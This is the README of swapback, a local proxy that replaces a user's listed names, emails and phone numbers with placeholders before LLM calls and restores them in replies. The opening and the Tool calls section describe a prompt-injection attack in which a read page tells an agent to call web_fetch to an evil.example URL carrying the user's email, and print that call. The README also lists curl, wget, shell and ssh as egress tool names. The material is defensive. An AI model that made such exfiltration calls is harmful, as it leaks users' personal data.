swapback 0.4.14

A local proxy that swaps personal data for placeholders before an LLM call and restores it, byte-exact, in the reply.

Why

Your own list, any agent, any API, in code you can read. swapback is a small local proxy for any agent or app that talks OpenAI Chat Completions, OpenAI Responses or Anthropic Messages (set its base URL, change nothing else). You write down the names, emails, phones, IDs and addresses that must never reach a model provider. The provider only sees «PERSON_1»; your app gets the original text back, byte-exact, in plain and streamed replies. There is no model to download and nothing probabilistic: exact matching plus patterns, about 5,800 lines of Python, 3 dependencies.

Tool calls can't carry your listed values out. An agent reads a page or an email with a prompt injection in it, and the model is told to call web_fetch("https://evil.example/?q=<your email>"). The model only ever had «EMAIL_1», and a network, shell or send-style tool call keeps the placeholder unless you allow that tool. Tools you trust (your own calendar or send-as-me tool) get the real value back. Veil does this too, for coding agents; swapback does it for any agent, by tool-name globs. From swapback demo:

5) tool calls: the model asks to fetch a URL and to send an email
   web_fetch  {"url": "https://lookup.example/?q=«EMAIL_1»"}        <- left as a placeholder: it never leaves
   send_email {"to": "jane.doe@example.com", "body": "Hi, about Friday"}   <- on the allow list: real value restored

Every common spelling, and a re-check that fails closed. A listed value is matched in its written variants: any case, extra or non-breaking spaces, . _ - + / between words (also when the words are separate path segments, /Users/First/Last/), one comma between the words of a name (Thanks Faith, Ridge trail ..., a CSV row 3,Faith,Ridge,Reno, as a tab-separated row already matched), lines of an address joined by HTML tags, with or without a line break after the tag (<br>, <br />\n, </p>\n<p>, also inside JSON text), a hyphen inside a name written as a space or as nothing (Ferrand-Moreau, Ferrand Moreau, FerrandMoreau, also surname first), surname first, accent-free (ø → o), phone groupings with or without the country code, and a listed phone with letters glued on (503-555-0147x22, ...0147ext9, Mob5035550147) or inside a URL path (/u/5035550147/profile). It is also matched when the text is encoded: JSON \uXXXX, \n and other escapes (JSON inside JSON up to 8 levels; a string with a run of 256 or more backslashes, which is what an escape nested more than 8 levels deep or a backslash nested 8 deep becomes, blocks the request with a 503 instead of being sent), HTML entities, %XX URL encoding and form encoding (+ for a space, ?q=Jane+Doe), decomposed accents (NFD), zero-width characters and fullwidth digits or letters.

After the swap, every outgoing string is checked again, two ways, and either one blocks the request (503) instead of sending it: (1) the matcher's own rules again, in all of the spellings above; (2) a skeleton check that does not use the matcher's rules. It reduces the string, and each decoded view of it (escapes, entities and %XX, up to 8 levels, and the same with HTML tags read as spaces, block elements such as <div> or <p> as paragraph breaks), to letters and digits only (accents stripped, NFKD-folded so fullwidth forms and ligatures become plain letters, zero-width characters and soft hyphens removed, [at]/[dot] dropped), and looks for each listed name, email, ID and address reduced the same way (at least 6 letters and digits; addresses 10), with any punctuation or nothing between its parts, and for each listed phone's national digits in any run of digits joined by up to 3 non-letters, whatever letters sit around it. The skeleton check keeps three of the matcher's rules on purpose: whitespace inside one word of a listed value does not join (Ellis on is not Ellison), a dictionary-word name counts only when written as a name (see below), and a name that fits inside one filesystem path segment (/home/jane/, /home/Jane.Doe/) is left; a name whose words are separate segments (/Users/Jane/Doe/) is not. When a pattern detector (below) swapped part of a string, the skeleton check also reads that string with only your listed values swapped, so a listed value that a pattern swap cut into (a street line swapped on its own) still blocks. Any scrub error blocks too. Out of scope: base64, hex, rot13 and other re-encodings, a value split across separate fields or messages (a listed "Amber Lane" sent as {"first": "Amber", "last": "Lane"} goes out as written: each field holds one ordinary word, and the two are not joined), letters spaced out with whitespace, listed names shorter than 6 letters in a spelling the matcher does not know (the skeleton check skips them), and names you never listed (there is no NER).

• Measured, and you can re-run it. swapback selftest (about 10 seconds, made-up data shipped in the package) sends each listed value in 257 written forms through 7 request paths. 0.4.13: 34/34 listed values caught, 0 of 1,799 forms leaked, the re-check alone (swap switched off) sees 771/771 forms and its skeleton layer alone 514/514, 57/57 ordinary sentences untouched (including ALL-CAPS headings), 1,694/1,694 exact round trips, 58/58 JSON-in-JSON multi-line restores valid, 87/87 JSON restores in a ```json fence, inline in prose or pasted valid, 60/60 addresses joined by <br>\n-style tags inside JSON swapped (not blocked), 68/68 doubly escaped tool-argument placeholders restored, 96/96 restores into JSON nested 1 to 8 levels valid and exact, 10/10 escaped values nested deeper blocked, 7/7 dictionary-word names next to sentence ends or HTML elements handled, 96/96 restores into tool-call arguments with mixed escaping (1 to 8 inner levels) valid, 6/6 `\u00ab`-escaped placeholders in text replies restored, 7/7 one-word HTML cells handled, 194/194 dictionary-word names split across one-word cells or blocks anywhere in a row or list swapped (and ordinary one-word blocks left alone), 3/3 example placeholders never assigned and broken known YAML reported as such, 36/36 values with quoted attributes between their parts back byte for byte, 36/36 cell names in HTML escaped inside JSON swapped and back exact, 11/11 reused cell names, dotted capital I, `> `-quoted addresses and 9,000 copies in one string, 32/32 cell names 7 and 8 JSON levels down (raw, `\u003c`, `</td>` and `<` HTML, with and without quoted attributes) swapped and back exact, 18/18 cells reused after another tag, names split by a comma, across CSV columns or across markdown table cells, `i` + combining dot, `| `-quoted addresses, copies 8 levels down and the time limit, 5/5 missing or broken config files and bad `scrub_timeout_s` values and 3/3 bad `listen` values or ports in use reported in one line, a 200 KB `%XX` body checked in under a second, health reads `blocked` when the list file is deleted or broken mid-run. Unlisted values caught by the patterns alone: 6/8 (both unlisted names missed). A second holdout with different made-up data (33 listed values incl. names as path segments, `
  `-joined addresses and fenced-JSON restores, 1,240 requests; written by the maintainer, not independent): 0.4.4 leaked 235 requests, 0.4.5 leaked 10, all of them the lower-case spelling of a dictionary-word name (`~/ruby/brooks/`), which matches Title Case only by design; fenced/inline JSON restores valid 0/125 → 125/125; false blocks on 2,400 chunks of ordinary text (Python standard library source, licence texts): 0 on both. See Leak test.
• Byte-exact restore. Where the reply puts a placeholder back at the JSON level the value was sent at (as text, or inside the same depth of JSON strings), the value comes back byte for byte as you wrote it: same case, same phone format, same spacing, same escaping (S\u00f8ren, <div dir=\"ltr\"> or \u003c/td\u003e between its parts stay exactly as sent). These come back as the same value in another spelling, by design: the value itself written with HTML entities or %XX (Søren, S%C3%B8ren) comes back decoded (Søren); a value the reply moves to another JSON level, or that sat escaped where swapback does not read a JSON level (a JSON document that is a bare string), comes back unescaped and then escaped for where it lands (JSON-equal: \u00f8 as ø); and a name swapped out of separate HTML blocks (<td>Amber</td><td>Lane</td>) that the reply reuses where no tag comes right before it ("Dear «PERSON_1»", a tool call's to_name), or where a different tag comes right before it than before the name as sent (<li>«PERSON_1»</li> for a name sent in <td> cells), comes back as the listed name, Amber Lane, without the tags between its words. A value restored inside a JSON string is JSON-escaped (quotes, backslashes, newlines), so the JSON stays valid: a whole JSON reply (JSON mode, structured output), and JSON inside a prose or markdown reply (a ```json fence, an object written inline). Inside JSON inside JSON it is escaped once per JSON level it really sits in (read from the text around it, up to 16 levels), so every level parses, also when the outer level is ASCII-escaped around raw inner JSON (json.dumps of a raw `json.dumps`) or the model wrote the placeholder `\u00ab`-escaped. Elsewhere in prose the value comes back as written, newlines included.
• Fails closed, loudly. A scrub error, an unreadable body, a missing or empty known file, a run of 256 or more backslashes (JSON nested more than 8 levels deep, or a backslash nested 8 deep: too deep to check) or a known value still present after the swap answers 503, with a message in the API's own error shape that says what was blocked and why, plus one log line on stderr. A known file that goes missing or unreadable while the proxy runs turns /scrubber/health to "status": "blocked", "ok": false until a good file is read again; one that suddenly shrinks keeps the old values protected, logs a warning and turns it to "status": "warning", "ok": false (either way swapback health exits 1). "known" in health counts your unique listed values: a phone counts once, though it is matched in several written formats (check-config's known_by_type counts the same way); the two built-in canary values are "known_builtin". A missing or broken config file stops the CLI and the proxy with one error line (exit 2), not a traceback, and so does a listen value that is not host:port or a port already in use.
• Names that are ordinary words stay out of ordinary sentences. A listed name made only of dictionary words ("Drew Wells", "Jack Frost") is matched only when written as a name, every word capitalised, so "she drew wells" goes out unchanged, and not across a sentence end ("Saving Grace. Fields of gold"), a blank line or separate HTML block elements (<div>Grace</div><div>Fields of gold</div>), except when two neighbouring blocks each hold one word and together spell the listed name (<td>Grace</td><td>Fields</td><td>Denver</td>, <li>Grace</li><li>Fields</li>), wherever the pair sits in the row or list, also when that HTML is escaped inside JSON (\u003ctd\u003e Go-style, <\/td> PHP-style, <td> entities); ALL-CAPS ("CAROL SINGER WANTED") counts as a heading, not a name, unless you set common_names_all_caps: true. common_names_title_case: false matches them in any case.
• Not a replacement for NER. Names you never listed go out as written. Use it alongside an NER tool if you need that (Use alongside other tools).

Quickstart (10 seconds, no API key)

Needs Python 3.11 or newer.

pip install swapback
swapback demo

swapback demo starts a built-in fake model that echoes what it receives, puts the proxy in front of it, and sends a plain, a streamed and a tool-call request with made-up data. No config, no key, no network. Output (abridged):

1) your app sends
   Email Jane Q Doe at jane.doe@example.com or call (425) 555-0182 about Friday.
2) the model receives
   Email «PERSON_1» at «EMAIL_1» or call «PHONE_1» about Friday.
3) your app gets back
   You said: Email Jane Q Doe at jane.doe@example.com or call (425) 555-0182 about Friday.
...
5) tool calls: the model asks to fetch a URL and to send an email
   web_fetch  {"url": "https://lookup.example/?q=«EMAIL_1»"}
   send_email {"to": "jane.doe@example.com", "body": "Hi, about Friday"}
PASS: the model never saw the made-up name, email or phone, and every reply came back exact.

From a clone, examples/ has the same mock as a script (examples/mock_upstream.py, examples/quickstart.yaml, examples/curl_demo.sh) if you want to run the two processes yourself.

Set it up for a real provider

swapback init          # writes swapback.yaml, known.yaml and private_terms.example.yaml (0600) from the shipped examples
                       # then EDIT known.yaml: your names, emails, phones (see Configuration)
cp private_terms.example.yaml private_terms.yaml    # optional: codenames and money figures

swapback init never overwrites a file unless you pass --force; from a clone, the same examples sit in the repo root.

In swapback.yaml:

upstream: https://api.openai.com      # a base URL WITHOUT /v1: the proxy appends the client's own path
known_file: known.yaml
private_terms_file: private_terms.yaml   # leave "" if you skipped the private terms file

Build known.yaml from your contacts

Names are only swapped if they are in your known file, so most of the value is in that list. Instead of typing it, build it from a contacts export:

swapback known init --vcf contacts.vcf                 # iPhone / macOS / Android export (vCard 2.1, 3.0, 4.0)
swapback known init --csv google_contacts.csv          # Google or Outlook CSV, or any name/email/phone columns
swapback known init --scan past_prompts.jsonl          # suggests names, emails, phones you have actually sent

• It reads full names, emails, phone numbers and street addresses, and merges them into known_file (or --out) without duplicates: Jane Doe and jane doe, or 425-555-0101 and (425) 555-0101, count once.
• The file is written with mode 0600. Comments in an existing file are not kept.
• It prints counts only. --show also prints the values, --dry-run writes nothing.
• One-word contacts that are relations or common words (Mom, Dentist, Will) are skipped: matching is case-insensitive, so they would swap ordinary words. --first-names also adds each contact's first name on its own, with the same skip list.
• --scan reads text or JSONL (any JSON strings in it) and writes candidates to known.suggestions.yaml: emails and phones it finds, and capitalised two- or three-word names seen at least twice (--min-count). Suggestions are never used or merged on their own. Delete what is not personal, then merge with swapback known init --yaml known.suggestions.yaml.

Only Python's standard library and the existing dependencies are used; nothing is sent anywhere.

Edit or build known.yaml before you start the proxy. The example values are fake (check-config warns while they are still there). A configured known_file that is missing or not valid YAML when the proxy starts stops it from starting (one error line, exit code 2); one that is empty starts the proxy but blocks every request (503), and so does one that goes missing, breaks or empties while the proxy runs (fail-closed). Then:

swapback check-config     # counts per type, never values
swapback-proxy            # listens on 127.0.0.1:8787

Point your client at the proxy. It keeps its usual path; only the host changes:

from openai import OpenAI
client = OpenAI(base_url="http://127.0.0.1:8787/v1", api_key="sk-...")   # your key is forwarded as is

upstream is joined with the client's path, so upstream: https://api.openai.com/v1 would request /v1/v1/.... Other providers work the same way: upstream: https://openrouter.ai with client base URL http://127.0.0.1:8787/api/v1; upstream: https://api.anthropic.com with an Anthropic SDK base URL of http://127.0.0.1:8787.

Use with agents

Any agent that lets you set a provider base URL can sit behind the proxy. Tested end to end with OpenClaw 2026.10.7: a fresh clone, the steps above and one provider block gave a scrubbed chat in a few minutes; replies, streamed replies and tool calls came back with the real values. Since 0.3.0 OpenClaw's exec, web_fetch, web_search, browser and message tools keep placeholders by default (see Tool calls).

// OpenClaw config (openclaw.json)
{
  models: { providers: { scrub: {
    baseUrl: "http://127.0.0.1:8787/v1",   // swapback
    apiKey: "${PROVIDER_API_KEY}",         // your provider key; the proxy forwards it unchanged
    api: "openai-completions",
    models: [{ id: "your-model", name: "your-model via swapback", reasoning: false, input: ["text"],
               cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, contextWindow: 128000, maxTokens: 4096 }],
  } } },
  agents: { defaults: { model: { primary: "scrub/your-model" } } },
}

api: "openai-completions" was tested against a live model. api: "anthropic-messages" works from 0.1.1, which restores Anthropic Messages streams (before, streamed replies in that mode kept their placeholders): set baseUrl to http://127.0.0.1:8787 (no /v1) and the proxy's upstream to an Anthropic-compatible endpoint. That mode was checked end to end with OpenClaw against a mock Anthropic upstream, not yet against a live Claude model.

What a block looks like in an agent. When the proxy blocks a request (fail-closed), it answers 503 in the error shape of the API the client called (OpenAI {"error": {...}}, Anthropic {"type": "error", ...}), with the header X-Swapback-Blocked and a message written for a person: swapback blocked this request (fail-closed), so nothing was sent to the model: <reason>. Run swapback health for details. Agents that show the provider's error message show this one, usually after retrying a few times. Some show only a generic error (in our 0.4.0 test, OpenClaw said it couldn't connect to the AI service), so the proxy also prints one line per block on stderr (swapback: blocked POST /v1/chat/completions: <reason>; never a value). To see more:

swapback health                          # mode, counters, last_error
tail -n 5 ~/.local/state/swapback/requests.jsonl   # one line per request: status, blocked, error, swap counts

The usual causes are a missing or broken known_file / private_terms_file, a non-JSON or compressed body on a model endpoint, or a known value still present after the swap.

Check what the provider saw. requests.jsonl records counts and types, never the text. To prove the provider got placeholders only, run swapback canary (set canary_model first): it sends a fake name and email through the running proxy, checks the provider's raw answer (X-Scrubber-Raw: 1) for the fake values and checks the restored answer for them. python examples/smoke.py runs the same check offline against the mock upstream.

How it works

1. Swap. Every string in the JSON request body is scanned. Values from your known-values file are matched as whole words, case-insensitively, in their common written variants (a phone number also matches (425) 555-0182, 425.555.0182, +14255550182, ...; a multi-word value also matches with its words joined by non-breaking or repeated spaces, tabs, zero-width characters, ., _, -, +, / or %20, so Jane.Q.Doe, JANE Q DOE, Jane+Q+Doe and Jane%20Q%20Doe are the same person under one placeholder). Escaped text is decoded for matching (JSON \uXXXX and \n, nested JSON, HTML entities, %XX) and normalized (NFC for decomposed accents, zero-width characters removed, fullwidth ASCII folded), and each hit is mapped back to the span it came from. A listed name made only of dictionary words (a 64k-word English list ships in the package) matches only in Title Case (not in lower case, and not in ALL-CAPS unless common_names_all_caps: true); a comma between two ordinary lower-case words ("say grace, lee side") does not join a surname-first name. Detectors then catch what you did not list:
   • phone numbers via phonenumbers;
   • email, credit card (Luhn), IBAN, US SSN, IP address and profile URLs, from Microsoft Presidio's predefined recognizer patterns;
   • API keys and tokens, from the gitleaks default rules;
   • a few local rules: street addresses, keyword-anchored account numbers and dates of birth, order numbers, and gap rules for emails written as name [at] example [dot] org or with a full-width ＠ or hidden zero-width characters, and IPv6 addresses.
2. Re-check. After the swap, every outgoing string is checked again for known values: with the same variant rules in the same decoded and normalized views, and with the looser skeleton check described above (letters and digits only, no matcher rules). If either finds one, the request is blocked. swapback selftest checks this on its own, with the swap switched off: every form must be seen by the re-check, and it reports the skeleton layer alone.
3. Forward or block. Paths, headers (including Authorization) and the model name pass through unchanged. Any error while scrubbing answers 503 with a scrubber_error, and nothing is forwarded.
4. Restore. Placeholders in the reply are swapped back to the original text: plain JSON responses anywhere in the body, OpenAI-style chat.completion.chunk SSE streams, OpenAI Responses API streams (output_text, refusal and reasoning deltas, function_call_arguments and custom_tool_call_input deltas, and the .done and response.completed snapshots) and Anthropic Messages streams (text_delta, and input_json_delta for tool_use), delta by delta. A placeholder split across chunks is held back until complete. Values inside tool-call arguments, and inside the strings of a reply that is a JSON document (it starts with { or [), are JSON-escaped. Each variant comes back exactly as it was written in the request; a value that was written escaped (S\u00f8ren, %C3%B8) comes back in its plain spelling (Søren).

Placeholders are stable: a local vault (vault.json, mode 0600) maps each value to the same placeholder across requests, so multi-turn conversations stay coherent. A short system note asks the model to keep placeholders as written. It is appended to your system prompt wherever the API keeps it: an OpenAI system or developer message (string or content parts), Anthropic's top-level system (string or blocks) or the Responses API instructions. When the request has no system prompt, one is added only if the request carries placeholders.

Every free-text field is scrubbed, including user, metadata and instructions. Only structural fields (model, role, type, ids, tool_choice, response_format, stop, reasoning_effort, service_tier and function names) are skipped, and those are still checked for known values before anything is sent.

Known names that fit inside one segment of a filesystem path (/home/jane/notes.md, /home/Jane.Doe/) are left alone, so agents' file tools keep working. A listed multi-word name whose words are separate segments (/Users/Jane/Doe/notes.txt, Jane/Q/Doe) is swapped like any other spelling, and the reply gets the path back as written. Phones, emails and IDs are never left. URLs and domains are still scrubbed.

Tool calls

A tool call's arguments are executed by your client, not by the provider. If the proxy puts real values back into every tool call, a prompt-injected model can send them anywhere a tool can reach. For example, a web page tells the model to "fetch" this:

{"name": "web_fetch", "arguments": "{\"url\": \"https://evil.example/c?d=«EMAIL_1»\"}"}

With a plain restore, your client fetches https://evil.example/c?d=you@example.com. Since 0.3.0 that call keeps «EMAIL_1», and the request log counts it as tool_kept (a number, never the value).

The default policy, per tool call:

1. a name in deny keeps placeholders; a name in allow gets real values (names are case-insensitive globs, e.g. mcp__github__*);
2. a name that looks like network or shell egress keeps placeholders. The name is split into words (WebFetch → web fetch, exec_command → exec command) and matched against egress_names: fetch, http, curl, wget, web, browse, request, url, navigate, download, upload, exec, shell, bash, sh, zsh, cmd, terminal, run, ssh, scp, rsync, git_push, push, email, mail, send, post, message, webhook, notify, publish (some match word prefixes, e.g. web*; see swapback.example.yaml);
3. any other call keeps placeholders when one of its arguments is or contains a URL (keep_if_url);
4. everything else, such as read_file or lookup_contact without a URL, gets the real values back.

This applies to plain JSON replies and to streams (OpenAI chat chunks and Anthropic tool_use). When the name alone does not decide, a streamed call's arguments are held until the call is complete and then sent in one piece.

The trade-off: an egress tool that you want to receive real values, such as your own send_email, now gets placeholders until you allow it. Allow only tools whose destination you control.

tool_restore:
  default: restore        # tools nothing else matches; `keep` = placeholders everywhere unless allowed
  keep_if_url: true
  allow: [send_email]     # always real values
  deny: [lookup_contact]  # never real values
  # egress_names: [...]   # replaces the built-in list

tool_restore: false restores every tool call, as 0.2 did.

Why the default for other tools is restore, not keep. Veil, for example, gives unknown tools pseudonyms. swapback restores them because the tools left after the rules above are the ones that act on your machine and your own accounts: writing a file, filling a form, creating a calendar event. Placeholders there are silent data corruption (a saved document addressed to «PERSON_1»), and the egress cases are already caught by name and by URL. If your agent loads tools you don't know (third-party MCP servers, plugins), set default: keep and allow the ones you trust; that is the stricter setting, and the one to use when you can't review the tool list.

Framework recipes

tool_restore is plain config; nothing in swapback knows any framework. These are starting points for common agents. Tool names were checked against each project's own docs on 2026-11-09 unless marked unverified. "Kept by default" means the built-in egress list already matches the name (swapback check-config shows the policy you end up with).

Generic, strict. Placeholders everywhere except the one or two tools that must address real people, ideally tools that ask you before they act:

tool_restore:
  default: keep
  allow: [send_email]          # your own tool names

OpenClaw (2026.10.7, from its tools index). Kept by default: exec, terminal, code_execution, web_fetch, web_search, browser, message. Real values: read, write, edit, apply_patch, cron.

tool_restore:
  allow: [message]             # only if replies go to your own channels or you approve each send:
                               # `message` can address any channel, so allowing it lets it carry real values out
  deny: [process, x_search, nodes]   # process writes to running commands; x_search queries X; nodes reaches
                                     # paired devices. None of these match the built-in list.

Claude Code (from its tools reference). Kept by default: Bash, PowerShell, WebFetch, WebSearch, SendMessage, PushNotification. Real values: Read, Write, Edit, NotebookEdit, Glob, Grep, so files on your machine stay correct. Nothing to add for most setups; deny: [RemoteTrigger] if you use remote triggers.

Codex CLI (tool names unverified: taken from third-party write-ups, not from Codex's source). Kept by default: exec_command, shell, web_search. write_stdin sends input to a running command and does not match the built-in list:

tool_restore:
  deny: [write_stdin]

Configuration

Copy swapback.example.yaml to swapback.yaml, or point SWAPBACK_CONFIG at any file. Every key is optional and has an environment override. Relative paths are relative to the config file. A minimal working setup is in examples/.

Renamed from pii-scrubber in 0.2.0: the old PII_SCRUBBER_* variables are still read when the SWAPBACK_* one is unset, but they are deprecated.

Also: tool_restore (see Tool calls), hooks (see Hooks), phone_regions, url_swap, patterns (turn single detectors off, e.g. {IP: false}), common_names_title_case (default true), allow_empty_known, extra_secret_rules, log_requests, alert_min_interval_s, system_note, scrub_timeout_s (default 10: a request whose check takes longer is stopped and answered 503 with a one-line reason, so a request the client gave up on does not keep a CPU busy; 0 turns the limit off; a value that is not a number of seconds, 0 or more, is a one-line config error and exit 2, like other bad settings). It covers the request check, not the restore of the reply (see Limits).

Known values (known.example.yaml). The exact strings to swap, by type. The file is re-read whenever its content changes (also a save by rename); no restart needed. Guard rails, so a broken file never silently protects nothing:

• A configured known file with no values blocks every request (set allow_empty_known: true if you mean it).
• A known file deleted, unreadable or broken while the proxy runs blocks every request and reports "status": "blocked", "ok": false in /scrubber/health (swapback health exits 1) until a good file is read again.
• If a reload finds the file empty or less than half its previous size, the proxy keeps protecting the previous values as well, prints a warning line on stderr, sends an alert and reports "status": "warning", "ok": false in /scrubber/health. Restart the proxy to accept a smaller list.
• swapback check-config exits with code 2 when the known file has no values, so a script or CI step fails too.
• swapback check-config, the proxy's start line and /scrubber/health warn when the made-up example values from swapback init are still in the file, and when a listed name is also an ordinary phrase (Will Hunt). Such names are matched only when every word is capitalised, so "I will hunt for the keys" is left alone; common_names_title_case: false matches them in any case. Warnings name line numbers, never values.

A listed name also matches surname first (Doe, Jane Q) and without accents (Anais for Anaïs); a listed ID also matches with its spaces and dashes removed (QQ123456C for QQ 12 34 56 C). Every variant shares the value's placeholder.

PERSON:
  - Jane Q Doe
EMAIL:
  - jdoe@corp.example
PHONE:
  - "425-555-0182"        # also matches (425) 555-0182, 425.555.0182, +14255550182, ...

Phones. A listed phone is matched as you wrote it and by its digits in any grouping, with or without a country code or leading 0 (98765 43210 also matches +91 9876543210). The common US formats are added only for numbers that are actually US. phone_regions (default [US]) is a different setting: it tells the pattern detector which countries' numbers to find when they are not listed and written without a + country code. Add yours, e.g. phone_regions: [US, IN, AU].

Private terms (private_terms.example.yaml). Things that are not PII but must not leave: phrases or regexes become «PRIVATE_TERM_n», and money amounts are matched in every written form ($2.47B, 2.47 billion, $2,470M) as «PRIVATE_FIGURE_n».

terms:
  - Project Bluebird
  - {regex: "11[\\s-]*FTEs?"}
figures:
  - 2470000000

CLI. swapback check-config (counts per type, never values), swapback stats, swapback health, swapback scrub-file request.json, and swapback canary, which sends a fake name and email through the running proxy and checks that the provider saw only placeholders and the client got the values back. GET /scrubber/health on the proxy returns counters. Every command takes --help and --version; swapback-proxy --help lists the settings it reads and exits without starting.

Hooks

Swapback can call your own Python code at a few points of each request, for things that belong next to the privacy filter but are not part of it: a spend cap, a fallback to a local model when the provider is down or over quota, usage accounting, an extra health endpoint. Name a module (or a .py file, relative to the config file) in swapback.yaml; every function in it is optional:

hooks:
  module: spend_cap.py        # or an importable module name; entry_point: <name> reads the swapback.hooks group
  options: {daily_usd: 5}     # handed to setup()

req has method, path, headers (the outgoing headers; edit it in place, for example to drop a header only your hook reads), body (parsed JSON, read-only: return {"body": ...} to change it) and api (chat, anthropic, responses). ctx is one dict per request shared by all calls; anything you put in ctx["log"] is written to requests.jsonl under hook (keep it to counts and short words).

Hooks never see real values. In mode: on they get the request after scrubbing and the replies before restore, so «EMAIL_1», not the address. A rerouted or locally answered reply is restored like any other. In watch and off nothing is scrubbed, so a hook sees what is forwarded.

Failure policy. An exception in setup stops the proxy from starting. An exception in before_forward or on_upstream_response fails closed: 503, nothing forwarded, an alert, like a scrub error. on_usage, on_complete and alert run after the reply has started, so their exceptions are only counted (hook_errors in /scrubber/health). A changed hooks section needs a restart.

A daily spend cap that falls back to a local llama.cpp server once the cap is reached:

# spend_cap.py
import datetime
SPENT, OPT = {}, {}
PRICE = {"prompt_tokens": 3e-6, "completion_tokens": 15e-6}      # USD per token, your provider's prices

def setup(options, cfg):
    OPT.update(options)

def _today():
    return datetime.date.today().isoformat()

def before_forward(req, ctx):
    if SPENT.get(_today(), 0) >= OPT["daily_usd"] and req.api == "chat":
        ctx["log"]["capped"] = 1
        return {"url": "http://127.0.0.1:8080/v1/chat/completions", "body": dict(req.body, model="local")}

def on_upstream_response(resp, ctx):                  # provider down or over quota: same request, local model
    if resp.status is None or resp.status in (429, 503):
        return {"url": "http://127.0.0.1:8080/v1/chat/completions", "body": dict(ctx["request"].body, model="local")}

def on_usage(obj, ctx):
    u = obj.get("usage") if isinstance(obj, dict) else None
    if u:
        SPENT[_today()] = SPENT.get(_today(), 0) + sum(u.get(k, 0) * p for k, p in PRICE.items())

def extra_routes():
    return {"/spend": lambda: {"today_usd": round(SPENT.get(_today(), 0), 4), "cap_usd": OPT["daily_usd"]}}

swapback check-config lists the hook functions it found.

Use alongside LiteLLM or an NER tool

swapback does one narrow thing: the values you listed never reach the provider in any spelling, tool calls that could send data out keep placeholders, and anything it can't check is blocked. It does not try to find names you never listed. It stacks with tools that do:

• Behind LiteLLM (or any gateway). Point your app at swapback and set swapback's upstream to your LiteLLM proxy (upstream: http://127.0.0.1:4000). LiteLLM keeps doing routing, keys, budgets and its Presidio guardrail for unlisted names; swapback adds the listed-value guarantee, the tool-call egress policy and fail-closed behaviour before anything reaches the gateway.
• With an NER proxy (PasteGuard, Kiji, Maskit, Veil's NER). Chain them: app → swapback → NER proxy → provider. swapback swaps your listed values first, so the NER pass only has to deal with what's left, and a missed listed value blocks instead of depending on a model's recall. Put swapback first so the restore of exact values happens last on the way back.
• With Presidio in your own code. Use Presidio to find candidate names in your data, then add the ones you care about to known.yaml (swapback known init merges a contacts export; --scan suggests more from your own files).

Comparison

Other open-source projects do the same job. This table reflects each project's own README and docs as read on 2026-11-09; "unclear" means we could not confirm it there. Corrections are welcome.

Where swapback fits: a personal or business agent of any kind (not only a coding agent) whose sensitive data is a list you can write down: your family, your contacts, your clients, your IDs. You want one small proxy you can read in an afternoon, that works with whatever client or framework you use as long as it speaks one of the three APIs, never needs a model, restores the exact original text where your tools need it, keeps placeholders where a tool could send it out, and blocks rather than leaks. Where others are stronger: names you never listed (PasteGuard, Maskit and Kiji, and the optional NER in Veil and piighost); coding agents on production data (Veil: database seeding, shell-safe escaping, a wider transform-bypass suite, a stricter tool default, Bedrock and Vertex); images and documents (Maskit); framework middleware (piighost); a desktop app (Kiji).

Limits

What it doesn't catch yet

Checked against 0.3.0 with nothing listed in known.yaml:

• Names you haven't listed. There is no NER model, so "Priya Raman" in free text goes out as written.
• Dates of birth, unless right after an English label. Date of birth: 14/03/1987, DOB 1987-03-14 and born on March 14, 1987 are caught. Birthdate, DOB = …, born 21 March 1981, other languages and unlabelled dates are not.
• National IDs other than the US SSN. UK National Insurance, Canadian SIN, Indian Aadhaar and PAN, passport and driving licence numbers pass through.
• Most addresses outside the US street format. A "number, street name, suffix" line is caught (10 Downing Street); postcodes, cities, PO boxes and formats like Calle Mayor 5 or 12 rue de Rivoli are not.
• Free-form secrets and other identifiers. Passwords, recovery codes, medical record numbers and coordinates are missed unless a rule covers them.
• Other streaming formats. Legacy chat function_call deltas (the pre-tools format), Gemini's native API and other provider-specific streams pass through with their placeholders. OpenAI chat, OpenAI Responses and Anthropic Messages streams are restored.

Listing a value in known.yaml or private_terms.yaml covers any of these. The details:

• No NER. It swaps what you list and what the patterns match. A name you never listed, written in free text, goes out as written. Keep the known-values file current.
• Pattern coverage is what the rules cover. Phone numbers, emails, cards (Luhn), IBANs, US SSNs, IPs, profile URLs, common API keys and a few local rules. National IDs other than the US SSN, free-form addresses, dates of birth in most label forms and many other formats are not detected unless you list them. See the measured score below.
• Whole words, case-insensitive. Jane does not match Janet. Separator and case variants of a listed multi-word value are caught (see How it works), and so are its JSON-escaped (S\u00f8ren), HTML-entity, %XX, form-encoded (+), NFD, zero-width and fullwidth spellings; nicknames, misspellings and other spellings need their own entries. Base64, hex, rot13 and similar re-encodings are out of scope: a listed value written that way is not caught, and an agent that runs a shell can produce them (Veil's transform matrix covers more of this). Commas and newlines also separate the parts of a listed address, so the same address written over two lines is caught.
• Names that are ordinary words. A listed name of two or more words that are all English dictionary words ("Will Hunt", "Drew Wells", "Jack Frost", also "John Brown"), or a one-word name on the short common-name list ("Rose"), is swapped only when every word is capitalised, so "I will hunt for the keys" and "she drew wells" are left alone; a lower-case "drew wells" that really is the person is then not swapped, and not blocked by the re-check either. Nor are its words joined across a sentence end, a blank line or separate HTML block elements ("Saving Grace. Fields of gold", <p>Grace</p><p>Fields of gold</p>); a single <br> or an inline tag between them still counts as one name, and so do two neighbouring blocks (<td>, <th>, <li>, <div>, <p> ...) that each hold exactly one word when those two words are the listed name, wherever the pair sits in the row or list and whatever the cells around it hold, their attributes or the whitespace between them (<tr><td>17</td><td>Grace</td><td>Fields</td><td>Denver</td></tr>, a header row above it, list items, divs), and whether that HTML is written raw or escaped inside JSON (\u003c, <\/td>, <). The restore gives the cells back exactly as written, quoted attributes included. Not across a row or list boundary (</tr><tr>, </ul><ul>). Such a pair is swapped even when it is not the person: a menu <div>Grace</div><div>Fields</div><div>Pricing</div> is swapped too (the restore puts it back). The word list is SCOWL size 50 (64k lower-case words, shipped gzipped in the package). check-config lists these names. Set common_names_title_case: false to match them in any case (and accept the false positives).
• Variants and restore. All written variants of one listed value share one placeholder. A reply gets back the forms written in the same request, in order of occurrence; a reply with more mentions than the request reuses the last one. With no request context (restore_text on its own, the CLI) the spelling from your known file comes back.
